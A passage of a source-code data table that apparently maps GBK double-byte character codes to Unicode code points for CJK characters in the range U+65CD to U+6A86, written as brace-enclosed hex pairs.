{0xec94,0x65cd},{0xbbec,0x65ce},{0xe5d7,0x65cf},{0xed94,0x65d0},{0xee94,0x65d1},
{0xbcec,0x65d2},{0xef94,0x65d3},{0xf094,0x65d4},{0xf194,0x65d5},{0xbdec,0x65d6},
{0xecc6,0x65d7},{0xf294,0x65d8},{0xf394,0x65d9},{0xf494,0x65da},{0xf594,0x65db},
{0xf694,0x65dc},{0xf794,0x65dd},{0xf894,0x65de},{0xf994,0x65df},{0xdece,0x65e0},
{0xfa94,0x65e1},{0xc8bc,0x65e2},{0xfb94,0x65e3},{0xfc94,0x65e4},{0xd5c8,0x65e5},
{0xa9b5,0x65e6},{0xc9be,0x65e7},{0xbcd6,0x65e8},{0xe7d4,0x65e9},{0xfd94,0x65ea},
{0xfe94,0x65eb},{0xaed1,0x65ec},{0xf1d0,0x65ed},{0xb8ea,0x65ee},{0xb9ea,0x65ef},
{0xbaea,0x65f0},{0xb5ba,0x65f1},{0x4095,0x65f2},{0x4195,0x65f3},{0x4295,0x65f4},
{0x4395,0x65f5},{0xb1ca,0x65f6},{0xf5bf,0x65f7},{0x4495,0x65f8},{0x4595,0x65f9},
{0xfacd,0x65fa},{0x4695,0x65fb},{0x4795,0x65fc},{0x4895,0x65fd},{0x4995,0x65fe},
{0xc0ea,0x6600},{0x4b95,0x6601},{0xbab0,0x6602},{0xbeea,0x6603},{0x4c95,0x6604},
{0x4d95,0x6605},{0xa5c0,0x6606},{0x4e95,0x6607},{0x4f95,0x6608},{0x5095,0x6609},
{0xbbea,0x660a},{0x5195,0x660b},{0xfdb2,0x660c},{0x5295,0x660d},{0xf7c3,0x660e},
{0xe8bb,0x660f},{0x5395,0x6610},{0x5495,0x6611},{0x5595,0x6612},{0xd7d2,0x6613},
{0xf4ce,0x6614},{0xbfea,0x6615},{0x5695,0x6616},{0x5795,0x6617},{0x5895,0x6618},
{0xbcea,0x6619},{0x5995,0x661a},{0x5a95,0x661b},{0x5b95,0x661c},{0xc3ea,0x661d},
{0x5c95,0x661e},{0xc7d0,0x661f},{0xb3d3,0x6620},{0x5d95,0x6621},{0x5e95,0x6622},
{0x5f95,0x6623},{0x6095,0x6624},{0xbab4,0x6625},{0x6195,0x6626},{0xc1c3,0x6627},
{0xf2d7,0x6628},{0x6295,0x6629},{0x6395,0x662a},{0x6495,0x662b},{0x6595,0x662c},
{0xd1d5,0x662d},{0x6695,0x662e},{0xc7ca,0x662f},{0x6795,0x6630},{0xc5ea,0x6631},
{0x6895,0x6632},{0x6995,0x6633},{0xc4ea,0x6634},{0xc7ea,0x6635},{0xc6ea,0x6636},
{0x6a95,0x6637},{0x6b95,0x6638},{0x6c95,0x6639},{0x6d95,0x663a},{0x6e95,0x663b},
{0xe7d6,0x663c},{0x6f95,0x663d},{0xd4cf,0x663e},{0x7095,0x663f},{0x7195,0x6640},
{0xcbea,0x6641},{0x7295,0x6642},{0xcebb,0x6643},{0x7395,0x6644},{0x7495,0x6645},
{0x7595,0x6646},{0x7695,0x6647},{0x7795,0x6648},{0x7895,0x6649},{0x7995,0x664a},
{0xfabd,0x664b},{0xcec9,0x664c},{0x7a95,0x664d},{0x7b95,0x664e},{0xccea,0x664f},
{0x7c95,0x6650},{0x7d95,0x6651},{0xb9c9,0x6652},{0xfecf,0x6653},{0xcaea,0x6654},
{0xced4,0x6655},{0xcdea,0x6656},{0xcfea,0x6657},{0x7e95,0x6658},{0x8095,0x6659},
{0xedcd,0x665a},{0x8195,0x665b},{0x8295,0x665c},{0x8395,0x665d},{0x8495,0x665e},
{0xc9ea,0x665f},{0x8595,0x6660},{0xceea,0x6661},{0x8695,0x6662},{0x8795,0x6663},
{0xeece,0x6664},{0x8895,0x6665},{0xdebb,0x6666},{0x8995,0x6667},{0xbfb3,0x6668},
{0x8a95,0x6669},{0x8b95,0x666a},{0x8c95,0x666b},{0x8d95,0x666c},{0x8e95,0x666d},
{0xd5c6,0x666e},{0xb0be,0x666f},{0xface,0x6670},{0x8f95,0x6671},{0x9095,0x6672},
{0x9195,0x6673},{0xe7c7,0x6674},{0x9295,0x6675},{0xa7be,0x6676},{0xd0ea,0x6677},
{0x9395,0x6678},{0x9495,0x6679},{0xc7d6,0x667a},{0x9595,0x667b},{0x9695,0x667c},
{0x9795,0x667d},{0xc0c1,0x667e},{0x9895,0x667f},{0x9995,0x6680},{0x9a95,0x6681},
{0xddd4,0x6682},{0x9b95,0x6683},{0xd1ea,0x6684},{0x9c95,0x6685},{0x9d95,0x6686},
{0xbecf,0x6687},{0x9e95,0x6688},{0x9f95,0x6689},{0xa095,0x668a},{0xa195,0x668b},
{0xd2ea,0x668c},{0xa295,0x668d},{0xa395,0x668e},{0xa495,0x668f},{0xa595,0x6690},
{0xeeca,0x6691},{0xa695,0x6692},{0xa795,0x6693},{0xa895,0x6694},{0xa995,0x6695},
{0xafc5,0x6696},{0xb5b0,0x6697},{0xaa95,0x6698},{0xab95,0x6699},{0xac95,0x669a},
{0xad95,0x669b},{0xae95,0x669c},{0xd4ea,0x669d},{0xaf95,0x669e},{0xb095,0x669f},
{0xb195,0x66a0},{0xb295,0x66a1},{0xb395,0x66a2},{0xb495,0x66a3},{0xb595,0x66a4},
{0xb695,0x66a5},{0xb795,0x66a6},{0xd3ea,0x66a7},{0xdff4,0x66a8},{0xb895,0x66a9},
{0xb995,0x66aa},{0xba95,0x66ab},{0xbb95,0x66ac},{0xbc95,0x66ad},{0xbac4,0x66ae},
{0xbd95,0x66af},{0xbe95,0x66b0},{0xbf95,0x66b1},{0xc095,0x66b2},{0xc195,0x66b3},
{0xa9b1,0x66b4},{0xc295,0x66b5},{0xc395,0x66b6},{0xc495,0x66b7},{0xc595,0x66b8},
{0xdfe5,0x66b9},{0xc695,0x66ba},{0xc795,0x66bb},{0xc895,0x66bc},{0xc995,0x66bd},
{0xd5ea,0x66be},{0xca95,0x66bf},{0xcb95,0x66c0},{0xcc95,0x66c1},{0xcd95,0x66c2},
{0xce95,0x66c3},{0xcf95,0x66c4},{0xd095,0x66c5},{0xd195,0x66c6},{0xd295,0x66c7},
{0xd395,0x66c8},{0xd495,0x66c9},{0xd595,0x66ca},{0xd695,0x66cb},{0xd795,0x66cc},
{0xd895,0x66cd},{0xd995,0x66ce},{0xda95,0x66cf},{0xdb95,0x66d0},{0xdc95,0x66d1},
{0xdd95,0x66d2},{0xde95,0x66d3},{0xdf95,0x66d4},{0xe095,0x66d5},{0xe195,0x66d6},
{0xe295,0x66d7},{0xe395,0x66d8},{0xefca,0x66d9},{0xe495,0x66da},{0xd6ea,0x66db},
{0xd7ea,0x66dc},{0xd8c6,0x66dd},{0xe595,0x66de},{0xe695,0x66df},{0xe795,0x66e0},
{0xe895,0x66e1},{0xe995,0x66e2},{0xea95,0x66e3},{0xeb95,0x66e4},{0xec95,0x66e5},
{0xd8ea,0x66e6},{0xed95,0x66e7},{0xee95,0x66e8},{0xd9ea,0x66e9},{0xef95,0x66ea},
{0xf095,0x66eb},{0xf195,0x66ec},{0xf295,0x66ed},{0xf395,0x66ee},{0xf495,0x66ef},
{0xbbd4,0x66f0},{0xf595,0x66f1},{0xfac7,0x66f2},{0xb7d2,0x66f3},{0xfcb8,0x66f4},
{0xf695,0x66f5},{0xf795,0x66f6},{0xc2ea,0x66f7},{0xf895,0x66f8},{0xdcb2,0x66f9},
{0xf995,0x66fa},{0xfa95,0x66fb},{0xfcc2,0x66fc},{0xfb95,0x66fd},{0xf8d4,0x66fe},
{0xeed7,0x6700},{0xfc95,0x6701},{0xfd95,0x6702},{0xfe95,0x6703},{0x4096,0x6704},
{0x4196,0x6705},{0x4296,0x6706},{0x4396,0x6707},{0xc2d4,0x6708},{0xd0d3,0x6709},
{0xc3eb,0x670a},{0xf3c5,0x670b},{0x4496,0x670c},{0xfeb7,0x670d},{0x4596,0x670e},
{0x4696,0x670f},{0xd4eb,0x6710},{0x4796,0x6711},{0x4896,0x6712},{0x4996,0x6713},
{0xb7cb,0x6714},{0xdeeb,0x6715},{0x4a96,0x6716},{0xcac0,0x6717},{0x4b96,0x6718},
{0x4c96,0x6719},{0x4d96,0x671a},{0xfbcd,0x671b},{0x4e96,0x671c},{0xafb3,0x671d},
{0x4f96,0x671e},{0xdac6,0x671f},{0x5096,0x6720},{0x5196,0x6721},{0x5296,0x6722},
{0x5396,0x6723},{0x5496,0x6724},{0x5596,0x6725},{0xfceb,0x6726},{0x5696,0x6727},
{0xbec4,0x6728},{0x5796,0x6729},{0xb4ce,0x672a},{0xa9c4,0x672b},{0xbeb1,0x672c},
{0xfdd4,0x672d},{0x5896,0x672e},{0xf5ca,0x672f},{0x5996,0x6730},{0xecd6,0x6731},
{0x5a96,0x6732},{0x5b96,0x6733},{0xd3c6,0x6734},{0xe4b6,0x6735},{0x5c96,0x6736},
{0x5d96,0x6737},{0x5e96,0x6738},{0x5f96,0x6739},{0xfabb,0x673a},{0x6096,0x673b},
{0x6196,0x673c},{0xe0d0,0x673d},{0x6296,0x673e},{0x6396,0x673f},{0xb1c9,0x6740},
{0x6496,0x6741},{0xd3d4,0x6742},{0xa8c8,0x6743},{0x6596,0x6744},{0x6696,0x6745},
{0xcbb8,0x6746},{0x6796,0x6747},{0xbee8,0x6748},{0xbcc9,0x6749},{0x6896,0x674a},
{0x6996,0x674b},{0xbbe8,0x674c},{0x6a96,0x674d},{0xeec0,0x674e},{0xd3d0,0x674f},
{0xc4b2,0x6750},{0xe5b4,0x6751},{0x6b96,0x6752},{0xbce8,0x6753},{0x6c96,0x6754},
{0x6d96,0x6755},{0xc8d5,0x6756},{0x6e96,0x6757},{0x6f96,0x6758},{0x7096,0x6759},
{0x7196,0x675a},{0x7296,0x675b},{0xc5b6,0x675c},{0x7396,0x675d},{0xbde8,0x675e},
{0xf8ca,0x675f},{0xdcb8,0x6760},{0xf5cc,0x6761},{0x7496,0x6762},{0x7596,0x6763},
{0x7696,0x6764},{0xb4c0,0x6765},{0x7796,0x6766},{0x7896,0x6767},{0xeed1,0x6768},
{0xbfe8,0x6769},{0xc2e8,0x676a},{0x7996,0x676b},{0x7a96,0x676c},{0xbcba,0x676d},
{0x7b96,0x676e},{0xadb1,0x676f},{0xdcbd,0x6770},{0x7c96,0x6771},{0xbdea,0x6772},
{0xc3e8,0x6773},{0x7d96,0x6774},{0xc6e8,0x6775},{0x7e96,0x6776},{0xcbe8,0x6777},
{0x8096,0x6778},{0x8196,0x6779},{0x8296,0x677a},{0x8396,0x677b},{0xcce8,0x677c},
{0x8496,0x677d},{0xc9cb,0x677e},{0xe5b0,0x677f},{0x8596,0x6780},{0xabbc,0x6781},
{0x8696,0x6782},{0x8796,0x6783},{0xb9b9,0x6784},{0x8896,0x6785},{0x8996,0x6786},
{0xc1e8,0x6787},{0x8a96,0x6788},{0xf7cd,0x6789},{0x8b96,0x678a},{0xcae8,0x678b},
{0x8c96,0x678c},{0x8d96,0x678d},{0x8e96,0x678e},{0x8f96,0x678f},{0xf6ce,0x6790},
{0x9096,0x6791},{0x9196,0x6792},{0x9296,0x6793},{0x9396,0x6794},{0xedd5,0x6795},
{0x9496,0x6796},{0xd6c1,0x6797},{0xc4e8,0x6798},{0x9596,0x6799},{0xb6c3,0x679a},
{0x9696,0x679b},{0xfbb9,0x679c},{0xa6d6,0x679d},{0xc8e8,0x679e},{0x9796,0x679f},
{0x9896,0x67a0},{0x9996,0x67a1},{0xe0ca,0x67a2},{0xe6d4,0x67a3},{0x9a96,0x67a4},
{0xc0e8,0x67a5},{0x9b96,0x67a6},{0xc5e8,0x67a7},{0xc7e8,0x67a8},{0x9c96,0x67a9},
{0xb9c7,0x67aa},{0xe3b7,0x67ab},{0x9d96,0x67ac},{0xc9e8,0x67ad},{0x9e96,0x67ae},
{0xddbf,0x67af},{0xd2e8,0x67b0},{0x9f96,0x67b1},{0xa096,0x67b2},{0xd7e8,0x67b3},
{0xa196,0x67b4},{0xd5e8,0x67b5},{0xdcbc,0x67b6},{0xcfbc,0x67b7},{0xdbe8,0x67b8},
{0xa296,0x67b9},{0xa396,0x67ba},{0xa496,0x67bb},{0xa596,0x67bc},{0xa696,0x67bd},
{0xa796,0x67be},{0xa896,0x67bf},{0xa996,0x67c0},{0xdee8,0x67c1},{0xaa96,0x67c2},
{0xdae8,0x67c3},{0xfab1,0x67c4},{0xab96,0x67c5},{0xac96,0x67c6},{0xad96,0x67c7},
{0xae96,0x67c8},{0xaf96,0x67c9},{0xb096,0x67ca},{0xb196,0x67cb},{0xb296,0x67cc},
{0xb396,0x67cd},{0xb496,0x67ce},{0xd8b0,0x67cf},{0xb3c4,0x67d0},{0xccb8,0x67d1},
{0xe2c6,0x67d2},{0xbec8,0x67d3},{0xe1c8,0x67d4},{0xb596,0x67d5},{0xb696,0x67d6},
{0xb796,0x67d7},{0xcfe8,0x67d8},{0xd4e8,0x67d9},{0xd6e8,0x67da},{0xb896,0x67db},
{0xf1b9,0x67dc},{0xd8e8,0x67dd},{0xf5d7,0x67de},{0xb996,0x67df},{0xfbc4,0x67e0},
{0xba96,0x67e1},{0xdce8,0x67e2},{0xbb96,0x67e3},{0xbc96,0x67e4},{0xe9b2,0x67e5},
{0xbd96,0x67e6},{0xbe96,0x67e7},{0xbf96,0x67e8},{0xd1e8,0x67e9},{0xc096,0x67ea},
{0xc196,0x67eb},{0xedbc,0x67ec},{0xc296,0x67ed},{0xc396,0x67ee},{0xc2bf,0x67ef},
{0xcde8,0x67f0},{0xf9d6,0x67f1},{0xc496,0x67f2},{0xf8c1,0x67f3},{0xf1b2,0x67f4},
{0xc596,0x67f5},{0xc696,0x67f6},{0xc796,0x67f7},{0xc896,0x67f8},{0xc996,0x67f9},
{0xca96,0x67fa},{0xcb96,0x67fb},{0xcc96,0x67fc},{0xdfe8,0x67fd},{0xcd96,0x67fe},
{0xd9e8,0x6800},{0xce96,0x6801},{0xcf96,0x6802},{0xd096,0x6803},{0xd196,0x6804},
{0xa4d5,0x6805},{0xd296,0x6806},{0xeab1,0x6807},{0xbbd5,0x6808},{0xcee8,0x6809},
{0xd0e8,0x680a},{0xb0b6,0x680b},{0xd3e8,0x680c},{0xd396,0x680d},{0xdde8,0x680e},
{0xb8c0,0x680f},{0xd496,0x6810},{0xf7ca,0x6811},{0xd596,0x6812},{0xa8cb,0x6813},
{0xd696,0x6814},{0xd796,0x6815},{0xdcc6,0x6816},{0xf5c0,0x6817},{0xd896,0x6818},
{0xd996,0x6819},{0xda96,0x681a},{0xdb96,0x681b},{0xdc96,0x681c},{0xe9e8,0x681d},
{0xdd96,0x681e},{0xde96,0x681f},{0xdf96,0x6820},{0xa3d0,0x6821},{0xe096,0x6822},
{0xe196,0x6823},{0xe296,0x6824},{0xe396,0x6825},{0xe496,0x6826},{0xe596,0x6827},
{0xe696,0x6828},{0xf2e8,0x6829},{0xead6,0x682a},{0xe796,0x682b},{0xe896,0x682c},
{0xe996,0x682d},{0xea96,0x682e},{0xeb96,0x682f},{0xec96,0x6830},{0xed96,0x6831},
{0xe0e8,0x6832},{0xe1e8,0x6833},{0xee96,0x6834},{0xef96,0x6835},{0xf096,0x6836},
{0xf9d1,0x6837},{0xcbba,0x6838},{0xf9b8,0x6839},{0xf196,0x683a},{0xf296,0x683b},
{0xf1b8,0x683c},{0xd4d4,0x683d},{0xefe8,0x683e},{0xf396,0x683f},{0xeee8,0x6840},
{0xece8,0x6841},{0xf0b9,0x6842},{0xd2cc,0x6843},{0xe6e8,0x6844},{0xa6ce,0x6845},
{0xf2bf,0x6846},{0xf496,0x6847},{0xb8b0,0x6848},{0xf1e8,0x6849},{0xf0e8,0x684a},
{0xf596,0x684b},{0xc0d7,0x684c},{0xf696,0x684d},{0xe4e8,0x684e},{0xf796,0x684f},
{0xa9cd,0x6850},{0xa3c9,0x6851},{0xf896,0x6852},{0xb8bb,0x6853},{0xdbbd,0x6854},
{0xeae8,0x6855},{0xf996,0x6856},{0xfa96,0x6857},{0xfb96,0x6858},{0xfc96,0x6859},
{0xfd96,0x685a},{0xfe96,0x685b},{0x4097,0x685c},{0x4197,0x685d},{0x4297,0x685e},
{0x4397,0x685f},{0xe2e8,0x6860},{0xe3e8,0x6861},{0xe5e8,0x6862},{0xb5b5,0x6863},
{0xe7e8,0x6864},{0xc5c7,0x6865},{0xebe8,0x6866},{0xede8,0x6867},{0xb0bd,0x6868},
{0xaed7,0x6869},{0x4497,0x686a},{0xf8e8,0x686b},{0x4597,0x686c},{0x4697,0x686d},
{0x4797,0x686e},{0x4897,0x686f},{0x4997,0x6870},{0x4a97,0x6871},{0x4b97,0x6872},
{0x4c97,0x6873},{0xf5e8,0x6874},{0x4d97,0x6875},{0xb0cd,0x6876},{0xf6e8,0x6877},
{0x4e97,0x6878},{0x4f97,0x6879},{0x5097,0x687a},{0x5197,0x687b},{0x5297,0x687c},
{0x5397,0x687d},{0x5497,0x687e},{0x5597,0x687f},{0x5697,0x6880},{0xbac1,0x6881},
{0x5797,0x6882},{0xe8e8,0x6883},{0x5897,0x6884},{0xb7c3,0x6885},{0xf0b0,0x6886},
{0x5997,0x6887},{0x5a97,0x6888},{0x5b97,0x6889},{0x5c97,0x688a},{0x5d97,0x688b},
{0x5e97,0x688c},{0x5f97,0x688d},{0x6097,0x688e},{0xf4e8,0x688f},{0x6197,0x6890},
{0x6297,0x6891},{0x6397,0x6892},{0xf7e8,0x6893},{0x6497,0x6894},{0x6597,0x6895},
{0x6697,0x6896},{0xa3b9,0x6897},{0x6797,0x6898},{0x6897,0x6899},{0x6997,0x689a},
{0x6a97,0x689b},{0x6b97,0x689c},{0x6c97,0x689d},{0x6d97,0x689e},{0x6e97,0x689f},
{0x6f97,0x68a0},{0x7097,0x68a1},{0xd2c9,0x68a2},{0x7197,0x68a3},{0x7297,0x68a4},
{0x7397,0x68a5},{0xcec3,0x68a6},{0xe0ce,0x68a7},{0xe6c0,0x68a8},{0x7497,0x68a9},
{0x7597,0x68aa},{0x7697,0x68ab},{0x7797,0x68ac},{0xf3cb,0x68ad},{0x7897,0x68ae},
{0xddcc,0x68af},{0xb5d0,0x68b0},{0x7997,0x68b1},{0x7a97,0x68b2},{0xe1ca,0x68b3},
{0x7b97,0x68b4},{0xf3e8,0x68b5},{0x7c97,0x68b6},{0x7d97,0x68b7},{0x7e97,0x68b8},
{0x8097,0x68b9},{0x8197,0x68ba},{0x8297,0x68bb},{0x8397,0x68bc},{0x8497,0x68bd},
{0x8597,0x68be},{0x8697,0x68bf},{0xecbc,0x68c0},{0x8797,0x68c1},{0xf9e8,0x68c2},
{0x8897,0x68c3},{0x8997,0x68c4},{0x8a97,0x68c5},{0x8b97,0x68c6},{0x8c97,0x68c7},
{0x8d97,0x68c8},{0xdec3,0x68c9},{0x8e97,0x68ca},{0xe5c6,0x68cb},{0x8f97,0x68cc},
{0xf7b9,0x68cd},{0x9097,0x68ce},{0x9197,0x68cf},{0x9297,0x68d0},{0x9397,0x68d1},
{0xf4b0,0x68d2},{0x9497,0x68d3},{0x9597,0x68d4},{0xd8d7,0x68d5},{0x9697,0x68d6},
{0x9797,0x68d7},{0xacbc,0x68d8},{0x9897,0x68d9},{0xefc5,0x68da},{0x9997,0x68db},
{0x9a97,0x68dc},{0x9b97,0x68dd},{0x9c97,0x68de},{0x9d97,0x68df},{0xc4cc,0x68e0},
{0x9e97,0x68e1},{0x9f97,0x68e2},{0xa6e9,0x68e3},{0xa097,0x68e4},{0xa197,0x68e5},
{0xa297,0x68e6},{0xa397,0x68e7},{0xa497,0x68e8},{0xa597,0x68e9},{0xa697,0x68ea},
{0xa797,0x68eb},{0xa897,0x68ec},{0xa997,0x68ed},{0xadc9,0x68ee},{0xaa97,0x68ef},
{0xa2e9,0x68f0},{0xe2c0,0x68f1},{0xab97,0x68f2},{0xac97,0x68f3},{0xad97,0x68f4},
{0xc3bf,0x68f5},{0xae97,0x68f6},{0xaf97,0x68f7},{0xb097,0x68f8},{0xfee8,0x68f9},
{0xd7b9,0x68fa},{0xb197,0x68fb},{0xfbe8,0x68fc},{0xb297,0x68fd},{0xb397,0x68fe},
{0xb597,0x6900},{0xa4e9,0x6901},{0xb697,0x6902},{0xb797,0x6903},{0xb897,0x6904},
{0xced2,0x6905},{0xb997,0x6906},{0xba97,0x6907},{0xbb97,0x6908},{0xbc97,0x6909},
{0xbd97,0x690a},{0xa3e9,0x690b},{0xbe97,0x690c},{0xb2d6,0x690d},{0xb5d7,0x690e},
{0xbf97,0x690f},{0xa7e9,0x6910},{0xc097,0x6911},{0xb7bd,0x6912},{0xc197,0x6913},
{0xc297,0x6914},{0xc397,0x6915},{0xc497,0x6916},{0xc597,0x6917},{0xc697,0x6918},
{0xc797,0x6919},{0xc897,0x691a},{0xc997,0x691b},{0xca97,0x691c},{0xcb97,0x691d},
{0xcc97,0x691e},{0xfce8,0x691f},{0xfde8,0x6920},{0xcd97,0x6921},{0xce97,0x6922},
{0xcf97,0x6923},{0xa1e9,0x6924},{0xd097,0x6925},{0xd197,0x6926},{0xd297,0x6927},
{0xd397,0x6928},{0xd497,0x6929},{0xd597,0x692a},{0xd697,0x692b},{0xd797,0x692c},
{0xd6cd,0x692d},{0xd897,0x692e},{0xd997,0x692f},{0xacd2,0x6930},{0xda97,0x6931},
{0xdb97,0x6932},{0xdc97,0x6933},{0xb2e9,0x6934},{0xdd97,0x6935},{0xde97,0x6936},
{0xdf97,0x6937},{0xe097,0x6938},{0xa9e9,0x6939},{0xe197,0x693a},{0xe297,0x693b},
{0xe397,0x693c},{0xaab4,0x693d},{0xe497,0x693e},{0xbbb4,0x693f},{0xe597,0x6940},
{0xe697,0x6941},{0xabe9,0x6942},{0xe797,0x6943},{0xe897,0x6944},{0xe997,0x6945},
{0xea97,0x6946},{0xeb97,0x6947},{0xec97,0x6948},{0xed97,0x6949},{0xee97,0x694a},
{0xef97,0x694b},{0xf097,0x694c},{0xf197,0x694d},{0xf297,0x694e},{0xf397,0x694f},
{0xf497,0x6950},{0xf597,0x6951},{0xf697,0x6952},{0xf797,0x6953},{0xa8d0,0x6954},
{0xf897,0x6955},{0xf997,0x6956},{0xa5e9,0x6957},{0xfa97,0x6958},{0xfb97,0x6959},
{0xfeb3,0x695a},{0xfc97,0x695b},{0xfd97,0x695c},{0xace9,0x695d},{0xe3c0,0x695e},
{0xfe97,0x695f},{0xaae9,0x6960},{0x4098,0x6961},{0x4198,0x6962},{0xb9e9,0x6963},
{0x4298,0x6964},{0x4398,0x6965},{0xb8e9,0x6966},{0x4498,0x6967},{0x4598,0x6968},
{0x4698,0x6969},{0x4798,0x696a},{0xaee9,0x696b},{0x4898,0x696c},{0x4998,0x696d},
{0xfae8,0x696e},{0x4a98,0x696f},{0x4b98,0x6970},{0xa8e9,0x6971},{0x4c98,0x6972},
{0x4d98,0x6973},{0x4e98,0x6974},{0x4f98,0x6975},{0x5098,0x6976},{0xacbf,0x6977},
{0xb1e9,0x6978},{0xbae9,0x6979},{0x5198,0x697a},{0x5298,0x697b},{0xa5c2,0x697c},
{0x5398,0x697d},{0x5498,0x697e},{0x5598,0x697f},{0xafe9,0x6980},{0x5698,0x6981},
{0xc5b8,0x6982},{0x5798,0x6983},{0xade9,0x6984},{0x5898,0x6985},{0xdcd3,0x6986},
{0xb4e9,0x6987},{0xb5e9,0x6988},{0xb7e9,0x6989},{0x5998,0x698a},{0x5a98,0x698b},
{0x5b98,0x698c},{0xc7e9,0x698d},{0x5c98,0x698e},{0x5d98,0x698f},{0x5e98,0x6990},
{0x5f98,0x6991},{0x6098,0x6992},{0x6198,0x6993},{0xc6c0,0x6994},{0xc5e9,0x6995},
{0x6298,0x6996},{0x6398,0x6997},{0xb0e9,0x6998},{0x6498,0x6999},{0x6598,0x699a},
{0xbbe9,0x699b},{0xf1b0,0x699c},{0x6698,0x699d},{0x6798,0x699e},{0x6898,0x699f},
{0x6998,0x69a0},{0x6a98,0x69a1},{0x6b98,0x69a2},{0x6c98,0x69a3},{0x6d98,0x69a4},
{0x6e98,0x69a5},{0x6f98,0x69a6},{0xbce9,0x69a7},{0xa5d5,0x69a8},{0x7098,0x69a9},
{0x7198,0x69aa},{0xbee9,0x69ab},{0x7298,0x69ac},{0xbfe9,0x69ad},{0x7398,0x69ae},
{0x7498,0x69af},{0x7598,0x69b0},{0xc1e9,0x69b1},{0x7698,0x69b2},{0x7798,0x69b3},
{0xf1c1,0x69b4},{0x7898,0x69b5},{0x7998,0x69b6},{0xb6c8,0x69b7},{0x7a98,0x69b8},
{0x7b98,0x69b9},{0x7c98,0x69ba},{0xbde9,0x69bb},{0x7d98,0x69bc},{0x7e98,0x69bd},
{0x8098,0x69be},{0x8198,0x69bf},{0x8298,0x69c0},{0xc2e9,0x69c1},{0x8398,0x69c2},
{0x8498,0x69c3},{0x8598,0x69c4},{0x8698,0x69c5},{0x8798,0x69c6},{0x8898,0x69c7},
{0x8998,0x69c8},{0x8a98,0x69c9},{0xc3e9,0x69ca},{0x8b98,0x69cb},{0xb3e9,0x69cc},
{0x8c98,0x69cd},{0xb6e9,0x69ce},{0x8d98,0x69cf},{0xb1bb,0x69d0},{0x8e98,0x69d1},
{0x8f98,0x69d2},{0x9098,0x69d3},{0xc0e9,0x69d4},{0x9198,0x69d5},{0x9298,0x69d6},
{0x9398,0x69d7},{0x9498,0x69d8},{0x9598,0x69d9},{0x9698,0x69da},{0xf7bc,0x69db},
{0x9798,0x69dc},{0x9898,0x69dd},{0x9998,0x69de},{0xc4e9,0x69df},{0xc6e9,0x69e0},
{0x9a98,0x69e1},{0x9b98,0x69e2},{0x9c98,0x69e3},{0x9d98,0x69e4},{0x9e98,0x69e5},
{0x9f98,0x69e6},{0xa098,0x69e7},{0xa198,0x69e8},{0xa298,0x69e9},{0xa398,0x69ea},
{0xa498,0x69eb},{0xa598,0x69ec},{0xcae9,0x69ed},{0xa698,0x69ee},{0xa798,0x69ef},
{0xa898,0x69f0},{0xa998,0x69f1},{0xcee9,0x69f2},{0xaa98,0x69f3},{0xab98,0x69f4},
{0xac98,0x69f5},{0xad98,0x69f6},{0xae98,0x69f7},{0xaf98,0x69f8},{0xb098,0x69f9},
{0xb198,0x69fa},{0xb298,0x69fb},{0xb398,0x69fc},{0xdbb2,0x69fd},{0xb498,0x69fe},
{0xb598,0x6a00},{0xb698,0x6a01},{0xb798,0x6a02},{0xb898,0x6a03},{0xb998,0x6a04},
{0xba98,0x6a05},{0xbb98,0x6a06},{0xbc98,0x6a07},{0xbd98,0x6a08},{0xbe98,0x6a09},
{0xaeb7,0x6a0a},{0xbf98,0x6a0b},{0xc098,0x6a0c},{0xc198,0x6a0d},{0xc298,0x6a0e},
{0xc398,0x6a0f},{0xc498,0x6a10},{0xc598,0x6a11},{0xc698,0x6a12},{0xc798,0x6a13},
{0xc898,0x6a14},{0xc998,0x6a15},{0xca98,0x6a16},{0xcbe9,0x6a17},{0xcce9,0x6a18},
{0xcb98,0x6a19},{0xcc98,0x6a1a},{0xcd98,0x6a1b},{0xce98,0x6a1c},{0xcf98,0x6a1d},
{0xd098,0x6a1e},{0xc1d5,0x6a1f},{0xd198,0x6a20},{0xa3c4,0x6a21},{0xd298,0x6a22},
{0xd398,0x6a23},{0xd498,0x6a24},{0xd598,0x6a25},{0xd698,0x6a26},{0xd798,0x6a27},
{0xd8e9,0x6a28},{0xd898,0x6a29},{0xe1ba,0x6a2a},{0xd998,0x6a2b},{0xda98,0x6a2c},
{0xdb98,0x6a2d},{0xdc98,0x6a2e},{0xc9e9,0x6a2f},{0xdd98,0x6a30},{0xa3d3,0x6a31},
{0xde98,0x6a32},{0xdf98,0x6a33},{0xe098,0x6a34},{0xd4e9,0x6a35},{0xe198,0x6a36},
{0xe298,0x6a37},{0xe398,0x6a38},{0xe498,0x6a39},{0xe598,0x6a3a},{0xe698,0x6a3b},
{0xe798,0x6a3c},{0xd7e9,0x6a3d},{0xd0e9,0x6a3e},{0xe898,0x6a3f},{0xe998,0x6a40},
{0xea98,0x6a41},{0xeb98,0x6a42},{0xec98,0x6a43},{0xcfe9,0x6a44},{0xed98,0x6a45},
{0xee98,0x6a46},{0xc1c7,0x6a47},{0xef98,0x6a48},{0xf098,0x6a49},{0xf198,0x6a4a},
{0xf298,0x6a4b},{0xf398,0x6a4c},{0xf498,0x6a4d},{0xf598,0x6a4e},{0xf698,0x6a4f},
{0xd2e9,0x6a50},{0xf798,0x6a51},{0xf898,0x6a52},{0xf998,0x6a53},{0xfa98,0x6a54},
{0xfb98,0x6a55},{0xfc98,0x6a56},{0xfd98,0x6a57},{0xd9e9,0x6a58},{0xc8b3,0x6a59},
{0xfe98,0x6a5a},{0xd3e9,0x6a5b},{0x4099,0x6a5c},{0x4199,0x6a5d},{0x4299,0x6a5e},
{0x4399,0x6a5f},{0x4499,0x6a60},{0xf0cf,0x6a61},{0x4599,0x6a62},{0x4699,0x6a63},
{0x4799,0x6a64},{0xcde9,0x6a65},{0x4899,0x6a66},{0x4999,0x6a67},{0x4a99,0x6a68},
{0x4b99,0x6a69},{0x4c99,0x6a6a},{0x4d99,0x6a6b},{0x4e99,0x6a6c},{0x4f99,0x6a6d},
{0x5099,0x6a6e},{0x5199,0x6a6f},{0x5299,0x6a70},{0xf7b3,0x6a71},{0x5399,0x6a72},
{0x5499,0x6a73},{0x5599,0x6a74},{0x5699,0x6a75},{0x5799,0x6a76},{0x5899,0x6a77},
{0x5999,0x6a78},{0xd6e9,0x6a79},{0x5a99,0x6a7a},{0x5b99,0x6a7b},{0xdae9,0x6a7c},
{0x5c99,0x6a7d},{0x5d99,0x6a7e},{0x5e99,0x6a7f},{0xb4cc,0x6a80},{0x5f99,0x6a81},
{0x6099,0x6a82},{0x6199,0x6a83},{0xadcf,0x6a84},{0x6299,0x6a85},{0x6399,0x6a86},
